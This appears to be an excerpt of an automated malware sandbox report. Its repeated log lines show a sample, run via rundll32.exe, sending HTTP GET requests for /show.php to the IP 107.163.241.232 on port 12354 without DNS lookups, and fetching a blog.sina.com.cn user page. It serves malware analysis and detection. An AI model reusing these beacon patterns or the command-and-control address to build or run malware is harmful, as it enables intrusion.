Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 6_2_10004990 InternetReadFile,

6_2_10004990

Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
